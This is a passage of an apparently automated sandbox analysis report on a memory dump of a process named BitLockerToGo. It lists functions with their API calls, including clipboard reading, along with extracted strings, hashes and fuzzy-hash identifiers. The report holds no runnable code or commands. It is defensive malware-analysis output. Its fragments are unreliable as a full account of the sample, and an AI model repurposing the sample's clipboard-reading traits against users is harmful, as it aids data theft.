Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 0036B987

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 61f18bd7d84451beb55c0f9116e47c152963f8e5d8609a3cb7b83c5efb5f3e5e
Instruction ID: bb196ab1e3ba3db6663181ef0471d645714f2e8ae64dded4c81e4cb54623d4c4
Opcode Fuzzy Hash: 61f18bd7d84451beb55c0f9116e47c152963f8e5d8609a3cb7b83c5efb5f3e5e
Instruction Fuzzy Hash: 5901E2B4549342CFC364DF28C598B5BBBE1FB88304F01891CE98887390D774A948CF82

Uniqueness

Uniqueness Score: -1.00%

Function 00377581 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 003775B6

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 9fb8950d73d5d0e54cc97f3568411ec0b9d0ce03c78678782d6b7481704df44e
Instruction ID: 0ef0fcaa294ad1e0dc87f05fac6f0501e29b23e0ecad2ccccc0a324a136b8259
Opcode Fuzzy Hash: 9fb8950d73d5d0e54cc97f3568411ec0b9d0ce03c78678782d6b7481704df44e
Instruction Fuzzy Hash: 2AF030356893806BE71747306C62F412B648B43B44F190497A692ED0D3D558651A9725

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00370520 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 176clipboardCOMMON

Download Yara Rule

APIs

GetWindowInfo.USER32 ref: 0037059B
OpenClipboard.USER32 ref: 003705AF
GetClipboardData.USER32 ref: 003705CE
CloseClipboard.USER32 ref: 0037070F

Strings

9, xrefs: 00370644
7, xrefs: 00370658
;, xrefs: 0037064C
8, xrefs: 00370660
:, xrefs: 00370654

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID: Clipboard$CloseDataInfoOpenWindow
String ID: 7$8$9$:$;
API String ID: 2278096442-1017836374
Opcode ID: 9118180535233351a43ac00b3c25540c4e58f324ebdebbcd7173b4522cfbf07c
Instruction ID: 5489cf70def8326ff5b0e594f4f0848a49da68ce1a6d10fb8889ee8daf4d981c
Opcode Fuzzy Hash: 9118180535233351a43ac00b3c25540c4e58f324ebdebbcd7173b4522cfbf07c
Instruction Fuzzy Hash: 197170B4508740CFC726DF28C485716BBE4AF46314F14CA99E8DA8FB51D339E405DB62

Uniqueness

Uniqueness Score: -1.00%

Function 003417B0 Relevance: 9.3, Strings: 7, Instructions: 589COMMON

Download Yara Rule

Strings

[, xrefs: 00341A19
null, xrefs: 00341B8D
., xrefs: 0034187F
true, xrefs: 0034192A
0, xrefs: 00341854
., xrefs: 0034185A
false, xrefs: 00341942

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: .$.$0$[$false$null$true
API String ID: 0-2094208800
Opcode ID: c9b5f77eca155f816a2a42894f332c6bde2e238b287714caf04ec29efc925008
Instruction ID: 3d032cc010c89b71404024a39ed8242935f4bda24517c5ee4c0a33af115403fc
Opcode Fuzzy Hash: c9b5f77eca155f816a2a42894f332c6bde2e238b287714caf04ec29efc925008
Instruction Fuzzy Hash: 920228B4A00B058FE7125F25DC4572B7BE8AF41308F164578E8958F392EB35F994CB92

Uniqueness

Uniqueness Score: -1.00%

Function 003497F0 Relevance: 9.1, Strings: 7, Instructions: 344COMMON

Download Yara Rule

Strings

p,J^, xrefs: 0034981F
H\UK, xrefs: 00349835
MTDC, xrefs: 00349840
(, xrefs: 00349A1D
k^PW, xrefs: 003498E8
^A, xrefs: 0034986C
k^PW, xrefs: 00349C32, 00349C70, 00349C57, 00349C50, 00349C82

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: H\UK$MTDC$^A$k^PW$k^PW$p,J^$(
API String ID: 0-2897112414
Opcode ID: 4cb1d2a139421ae9cb281e9413b061bf2fe9187673c0a3fa46b425bfb9b1e7e3
Instruction ID: 2f2ea71a348f6dba3df79c8926163d465c0479eb33c67e9eac27436f5de730e0
Opcode Fuzzy Hash: 4cb1d2a139421ae9cb281e9413b061bf2fe9187673c0a3fa46b425bfb9b1e7e3
Instruction Fuzzy Hash: 16C135B110C3918FD325CF14C4A479BBBE0FF92344F184A5DE4E59B292C779990ACB92

Uniqueness

Uniqueness Score: -1.00%

Function 00356555 Relevance: 7.6, Strings: 6, Instructions: 92COMMON

Download Yara Rule

Strings

&ldh, xrefs: 00356570
<z?, xrefs: 00356669
uux, xrefs: 00356580
ql, xrefs: 00356588
v|vs, xrefs: 00356568
~t~{, xrefs: 00356578

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: &ldh$ql$uux$v|vs$~t~{$<z?
API String ID: 0-2189675787
Opcode ID: 5718af93e6c6ee67e8f2d4b321d6950e94bafa3c58c1ab74b0c6647d79ffc96c
Instruction ID: 1187cb47c31b8d27a6d8c19f7efc789e60b36e18a0c114eb05a5d420688edfa7
Opcode Fuzzy Hash: 5718af93e6c6ee67e8f2d4b321d6950e94bafa3c58c1ab74b0c6647d79ffc96c
Instruction Fuzzy Hash: ED318DB04083808BD315CF14C892B2ABBE2FF86324F599B5CF4955B2A1E779C9058B56

Uniqueness

Uniqueness Score: -1.00%

Function 00353038 Relevance: 5.2, Strings: 4, Instructions: 205COMMON

Download Yara Rule

Strings

L\]D, xrefs: 0035364B
RWGQ, xrefs: 0035362D
W^S, xrefs: 00353619
I]J, xrefs: 00353623

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: I]J$L\]D$RWGQ$W^S
API String ID: 0-3197350908
Opcode ID: 56eada7f74650a243bd1ddf87e4ff282e2c3b32568e5bf08d591048828f20471
Instruction ID: 4cd318459eef33aaea331b333d0d2a8762de9d196fcf706b0d2b9e589fee7b21
Opcode Fuzzy Hash: 56eada7f74650a243bd1ddf87e4ff282e2c3b32568e5bf08d591048828f20471
Instruction Fuzzy Hash: 987167B4205B808FE3268F39C0A4BA3BBE1BF46345F19495CD4EB4B3A2D335A5498B51

Uniqueness

Uniqueness Score: -1.00%

Function 0037F500 Relevance: 4.1, Strings: 3, Instructions: 309COMMON

Download Yara Rule

Strings

R-,T, xrefs: 0037F6D0
7452, xrefs: 0037F568
R-,T, xrefs: 0037F5C0

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 7452$R-,T$R-,T
API String ID: 0-4083704330
Opcode ID: ddbbe936777f61753156dd0c89211da93b6c4b52f44d49085ad461cdcbb74910
Instruction ID: 6e69ee7d62d92f6527efe812f01d0e59adcc262c3ac5e94db0a6b3a676693a22
Opcode Fuzzy Hash: ddbbe936777f61753156dd0c89211da93b6c4b52f44d49085ad461cdcbb74910
Instruction Fuzzy Hash: 32B1CC726043129FC726CF18C49076BB7E1FF88760F158A2CE8999B290D338EC45CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00368AC0 Relevance: 3.7, Strings: 2, Instructions: 1242COMMON

Download Yara Rule

Strings

onqp, xrefs: 00369775
0, xrefs: 00368C7D

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 0$onqp
API String ID: 0-3335788350
Opcode ID: 51d2fb00d77219512f756930bb07dbbd15d73cc92a6f0206d94ac1c90a5decba
Instruction ID: f99159535b9a9175261ebf595b96df8bfd01e4bd00fccfc0441458cbf4da8d91
Opcode Fuzzy Hash: 51d2fb00d77219512f756930bb07dbbd15d73cc92a6f0206d94ac1c90a5decba
Instruction Fuzzy Hash: B092D2702047418BD726CF29C4A0726BBE6FF5A304F19C69DD4DA8FB9AD739A405CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0036C85E Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 224COMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32 ref: 0036C868

Part of subcall function 003792D0: RtlAllocateHeap.NTDLL(?,00000000,00349DBE), ref: 00379367

Strings

G, xrefs: 0036CA31

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeapString
String ID: G
API String ID: 983180023-985283518
Opcode ID: a3bf43d646182d6e1247532f4cbe4d5aa5ae3570372ea2a10b0ae3a21195a0e0
Instruction ID: 5f5dbc9ae6cfffa5174d0d7272c115bac8477f21e0d8344333623565c51a6af2
Opcode Fuzzy Hash: a3bf43d646182d6e1247532f4cbe4d5aa5ae3570372ea2a10b0ae3a21195a0e0
Instruction Fuzzy Hash: BC91B1716093818FC336DE28C4957AEBBD2BB96320F098A2DD4E98B3D5D7349841C742

Uniqueness

Uniqueness Score: -1.00%

Function 00345720 Relevance: 3.3, Strings: 2, Instructions: 834COMMON

Download Yara Rule

Strings

0, xrefs: 003460C7
8, xrefs: 003460BF

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: dc5c8e87591c501f252a12a670cf8b9aef0075bba00d4fba6fa9a7fe8b50374b
Instruction ID: 6dc920e0d843b4c9735211d8882009da33abc11e219daa858b2ce6d86e19ac8a
Opcode Fuzzy Hash: dc5c8e87591c501f252a12a670cf8b9aef0075bba00d4fba6fa9a7fe8b50374b
Instruction Fuzzy Hash: 09724A71A087409FD725CF18C880B9EBBE1BF99314F05892DF9898B392D775E944CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00365B50 Relevance: 3.0, Strings: 2, Instructions: 511COMMON

Download Yara Rule

Strings

", xrefs: 00365FBD
", xrefs: 00365FFC

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "$"
API String ID: 0-3758156766
Opcode ID: 771a54985d2ed96b381252ddd35c446e110e503fd8aa4f9e7284a6d88aa3d752
Instruction ID: 6d9a2de28b065079af247137ba5f972c9b5e956b2eba75d86b0118f90224e57e
Opcode Fuzzy Hash: 771a54985d2ed96b381252ddd35c446e110e503fd8aa4f9e7284a6d88aa3d752
Instruction Fuzzy Hash: 4602E2716087019FC71ACF28C49476BB7E5AB84354F19C93EE89A8B386D774DD09CB82

Uniqueness

Uniqueness Score: -1.00%

Function 0037C571 Relevance: 2.6, Strings: 2, Instructions: 102COMMON

Download Yara Rule

Strings

onqp, xrefs: 0037C4C1
onqp, xrefs: 0037C5A6

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: onqp$onqp
API String ID: 0-2464386876
Opcode ID: 89762ded089ae9af087f49150e08129b0fd03ffa24c3b8f37dc12cc975e6a52c
Instruction ID: 75cdba273c71aed6deb3d8023e0a08aa4528ab50534906f55905028066afd252
Opcode Fuzzy Hash: 89762ded089ae9af087f49150e08129b0fd03ffa24c3b8f37dc12cc975e6a52c
Instruction Fuzzy Hash: 4641AF70611B408FE339CF16C4A4B27F7E2AB89314F249A1DC4AB47A95C379F8458B88

Uniqueness

Uniqueness Score: -1.00%

Function 00379E10 Relevance: 1.9, Strings: 1, Instructions: 642COMMON

Download Yara Rule

Strings

onqp, xrefs: 00379EA8

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: onqp
API String ID: 0-1718216680
Opcode ID: 5d11a46b2b7d1481ade1b70e49bfc321755f68a45851083547fc49bde983293e
Instruction ID: ae92918904eecc28c4828bf04c05ee059ad2632d9451a42877ee90e49724ee3a
Opcode Fuzzy Hash: 5d11a46b2b7d1481ade1b70e49bfc321755f68a45851083547fc49bde983293e
Instruction Fuzzy Hash: A6329A706083418FD725CF14C890B2FBBE6BBC9314F198A2DE5998B396D779D905CB82

Uniqueness

Uniqueness Score: -1.00%

Function 0036213D Relevance: 1.6, Strings: 1, Instructions: 332COMMON

Download Yara Rule

Strings

6, xrefs: 0036249F

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 6
API String ID: 0-3188663719
Opcode ID: 437cf6c4e77a01315e170fe81d2319cde5d487c179c190f52351015934a6cf83
Instruction ID: 9c46ec465769fe04dcda16da44a6831820f464e30754bbd7c7b3ffe313e75c6f
Opcode Fuzzy Hash: 437cf6c4e77a01315e170fe81d2319cde5d487c179c190f52351015934a6cf83
Instruction Fuzzy Hash: 98B1D570208B42CFD726CF29C490623BBF2BF56304B1A89ADD4968BB56D735F906CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00366953 Relevance: 1.6, Strings: 1, Instructions: 309COMMON

Download Yara Rule

Strings

::34, xrefs: 00366B74

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ::34
API String ID: 0-1123104282
Opcode ID: e533cd7dc4b9a9367c1cae6623cf993e86fd4625e54b87a6b7314c061ca35acd
Instruction ID: 3c64da8c112614ab15e403d9ab49e4051a6ce2f6b52bf3c41e11c7122ab44913
Opcode Fuzzy Hash: e533cd7dc4b9a9367c1cae6623cf993e86fd4625e54b87a6b7314c061ca35acd
Instruction Fuzzy Hash: B1A1C270204B818BD72A8F39C0A1776FBF1EF56344F29866DD4EB8B686D735A809C714

Uniqueness

Uniqueness Score: -1.00%

Function 0037F190 Relevance: 1.6, Strings: 1, Instructions: 308COMMON

Download Yara Rule

Strings

7452, xrefs: 0037F1F8

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 7452
API String ID: 0-87867774
Opcode ID: 505a9ef5ca75b07c9f71e90c65df6df37634ccd40fa7d526eef17ec683bd07fc
Instruction ID: 3208733afc45c77e73f17f707a7fd59725fe080ec56e7eee98347380aa2bd6a8
Opcode Fuzzy Hash: 505a9ef5ca75b07c9f71e90c65df6df37634ccd40fa7d526eef17ec683bd07fc
Instruction Fuzzy Hash: 77A18E752043029FD725CF29C490B6BB7F1FF88354F55896CE8898B2A1D778D845CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00346A50 Relevance: 1.5, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

,, xrefs: 00346BA7

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: d364fc58fd122fcd3f561c926b6861e3e42429a077bc55174dc0cc7657aa907c
Instruction ID: 319c57fb4bf6b18cdc6b67f1f19626005e6a1e39a7f337f2becbd9ba61e0ccc1
Opcode Fuzzy Hash: d364fc58fd122fcd3f561c926b6861e3e42429a077bc55174dc0cc7657aa907c
Instruction Fuzzy Hash: 9AB117716093819FD315CF59C88565AFFE0AFAA304F444A1DF4989B782C771EA18CBA3

Uniqueness

Uniqueness Score: -1.00%

Function 00362760 Relevance: 1.5, Strings: 1, Instructions: 235COMMON

Download Yara Rule

Strings

knke, xrefs: 00362604

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: knke
API String ID: 0-888893071
Opcode ID: 1fc4d60223bee8c67086b80c9ca232f762a36cbc88f46f8774a328cc01cdaaae
Instruction ID: 799cffdf955f75836d7c4c0cd95c679450b5466dd700e914e82b4e8c7cd0d783
Opcode Fuzzy Hash: 1fc4d60223bee8c67086b80c9ca232f762a36cbc88f46f8774a328cc01cdaaae
Instruction Fuzzy Hash: F09165B1500B009FC324CF29C982A53BBF5EF49350F158A99E8AA8BB55D335F915CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00379A20 Relevance: 1.4, Strings: 1, Instructions: 176COMMON

Download Yara Rule

Strings

onqp, xrefs: 00379AA8

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: onqp
API String ID: 0-1718216680
Opcode ID: 8015b4661ae576e50b5cebb1571cf689384a5af2dc936537b9d928d248b1b89c
Instruction ID: f477422fd878c101fb0e9a5a5c0f921ecb16f167919f61747c14f6acfeb6e8e8
Opcode Fuzzy Hash: 8015b4661ae576e50b5cebb1571cf689384a5af2dc936537b9d928d248b1b89c
Instruction Fuzzy Hash: B151A0712083019BDB2ACF14C4A472FBBE2EFC4304F29CA1DE4994B295D779D945CB82

Uniqueness

Uniqueness Score: -1.00%

Function 0037EAF0 Relevance: 1.4, Strings: 1, Instructions: 165COMMON

Download Yara Rule

Strings

7452, xrefs: 0037EB58

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 7452
API String ID: 0-87867774
Opcode ID: 21258f8f225c81502cb4662e72089b71921ac363f317a5280b1adf73e728b535
Instruction ID: 9fa565212a6f1b34ad6256b9fdc9eb97dd94f7a671515510cfa7a75cab741a22
Opcode Fuzzy Hash: 21258f8f225c81502cb4662e72089b71921ac363f317a5280b1adf73e728b535
Instruction Fuzzy Hash: 1251BE752083029BE726CF14C990B6BBBF2FBC8758F54895CF4995B290D378E945CB82

Uniqueness

Uniqueness Score: -1.00%

Function 003626BD Relevance: 1.4, Strings: 1, Instructions: 160COMMON

Download Yara Rule

Strings

knke, xrefs: 00362604

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: knke
API String ID: 0-888893071
Opcode ID: 0ec68f8a3098d1a37deddb1dc69d0e63f8979eb7c2a7ce953b04dc2af0002ae8
Instruction ID: 102fd1cd4518e75f4e0e58d2f57e2ba795e6a2837b2ea386024cf2f6dbbbc2d3
Opcode Fuzzy Hash: 0ec68f8a3098d1a37deddb1dc69d0e63f8979eb7c2a7ce953b04dc2af0002ae8
Instruction Fuzzy Hash: 1B6100B5204B00CFC725CF15D990A16BBF2EF89354F258999D89A4BB2AC335F919CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00351E13 Relevance: 1.4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

Strings

^t_, xrefs: 00351EF3

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ^t_
API String ID: 0-4261081691
Opcode ID: 5646ff13ff9f7867ee4b389b8e0eb96d76ed9d47c75119221a83b939da92265d
Instruction ID: 69bfe92b76fdf82f1fb251af62134a50e528f027da829963ccad28e5f5102f29
Opcode Fuzzy Hash: 5646ff13ff9f7867ee4b389b8e0eb96d76ed9d47c75119221a83b939da92265d
Instruction Fuzzy Hash: 0C314F755047018FC726CF24C881B26B7E6FF89311F299A69D85A8B761E770F845CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00368A13 Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

0, xrefs: 00368A67

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: afc92502790f73c74f581d4b1f288e5de069e1ea9992cf90c3a6cf4a5210267e
Instruction ID: aab7031e844245aced8a596e9cd0f23b058a2e5a033bfa8ed4300594a94e6ecb
Opcode Fuzzy Hash: afc92502790f73c74f581d4b1f288e5de069e1ea9992cf90c3a6cf4a5210267e
Instruction Fuzzy Hash: FC3169302097518AC72E8B29C065532F6F6EF88310B59C3AAD9D68F6EDDB388443D325

Uniqueness

Uniqueness Score: -1.00%

Function 0035DDC7 Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

\Q, xrefs: 0035DE4B

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: \Q
API String ID: 0-1270571461
Opcode ID: 328b8da17275196a658879d85eb17957a9ae9e89511efb4fdc17fe10f1060b41
Instruction ID: 0abf22433bd4cc6dbe1ec2614af74f698ccb76a0a26fd94bbaf3da51e6e38bba
Opcode Fuzzy Hash: 328b8da17275196a658879d85eb17957a9ae9e89511efb4fdc17fe10f1060b41
Instruction Fuzzy Hash: 343111B160C3808BD3299F29D46175FBBE1BB96708F144A6DE4D99B3A1C73888498F42

Uniqueness

Uniqueness Score: -1.00%

Function 00364982 Relevance: 1.3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

onqp, xrefs: 003649BA

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: onqp
API String ID: 0-1718216680
Opcode ID: cf31501b683b57ef637e897500a66724dc5a35f6c324934b8c656cfcfcebbe4e
Instruction ID: 4519e3ef95e56b6c4965c4f2abb94b428605823d62cede6bf5ca1aa3133c034f
Opcode Fuzzy Hash: cf31501b683b57ef637e897500a66724dc5a35f6c324934b8c656cfcfcebbe4e
Instruction Fuzzy Hash: D9216874644B008BDB2ACF05C590B27BBF6BB4A708F18895DC0E38BB95C374E8058B84

Uniqueness

Uniqueness Score: -1.00%

Function 0035DF3A Relevance: 1.3, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

\Q, xrefs: 0035DFC6

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: \Q
API String ID: 0-1270571461
Opcode ID: a449f6258380e41d5beddc3295c7ec935376b4da853f9df89e11bf51a323e882
Instruction ID: 1385e461a0c7610b77d543157f34867ff256eefdf138d824c61a225d27baa830
Opcode Fuzzy Hash: a449f6258380e41d5beddc3295c7ec935376b4da853f9df89e11bf51a323e882
Instruction Fuzzy Hash: 943101B160C3808BD3298F25D46175FFBE1BF86708F144A1DE4D99B3A1C77989498F52

Uniqueness

Uniqueness Score: -1.00%

Function 0037D4E8 Relevance: 1.3, Strings: 1, Instructions: 10COMMON

Download Yara Rule

Strings

'=, xrefs: 0037D4E8

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: '=
API String ID: 0-1721527016
Opcode ID: b583b1f470ca495c42bf6c8318e7ea23471636129032d932d0bfe90af2a2c34b
Instruction ID: 61d6cf426473d82dd7a808ca72a30a91e87d2208a6f195f7a996127f7481fed1
Opcode Fuzzy Hash: b583b1f470ca495c42bf6c8318e7ea23471636129032d932d0bfe90af2a2c34b
Instruction Fuzzy Hash: 52B0927591C201CBC109CF01EC10A30B33AA78B324E2A308C8402233A2C630E4229B0C

Uniqueness

Uniqueness Score: -1.00%

Function 003480A0 Relevance: .8, Instructions: 824COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 704b87d1b9c676f88e1c07b0446b889827816cb16b5e5fb0875026c9d654919f
Instruction ID: 783a2412042934388df403c381e97bd99893a1022df97860dfa3eb77c2024473
Opcode Fuzzy Hash: 704b87d1b9c676f88e1c07b0446b889827816cb16b5e5fb0875026c9d654919f
Instruction Fuzzy Hash: 7F52D4315097118BC726DF58E8802BEB3E1FFD4314F2A892DD9869B385EB34B855CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00344160 Relevance: .6, Instructions: 609COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 406b022b307d1af9548da64e6496aa0d13034b3590cb8fc300b509d662983043
Instruction ID: 2a688a34f619cc16eeaeaa5c06927c64d64f031f50a6e582dc742b3846504e6e
Opcode Fuzzy Hash: 406b022b307d1af9548da64e6496aa0d13034b3590cb8fc300b509d662983043
Instruction Fuzzy Hash: 484242B4514B518FC36ACF29C58066ABBE1FF96310BA18A2DD5978BF90D735F841CB10

Uniqueness

Uniqueness Score: -1.00%

Function 0035D35E Relevance: .6, Instructions: 577COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e47ac877df854b984a8f89a89570c5be75f4db4f1f55ec435770fab6b7b20411
Instruction ID: e8e79943155744bd93d676592415bece8215a175259300b03380b7371bf09eb6
Opcode Fuzzy Hash: e47ac877df854b984a8f89a89570c5be75f4db4f1f55ec435770fab6b7b20411
Instruction Fuzzy Hash: 6C12BD71608341CFD319CF18D891B2AB7F6FBC9315F0989ACE8869B2A1D739D845CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00346480 Relevance: .5, Instructions: 512COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

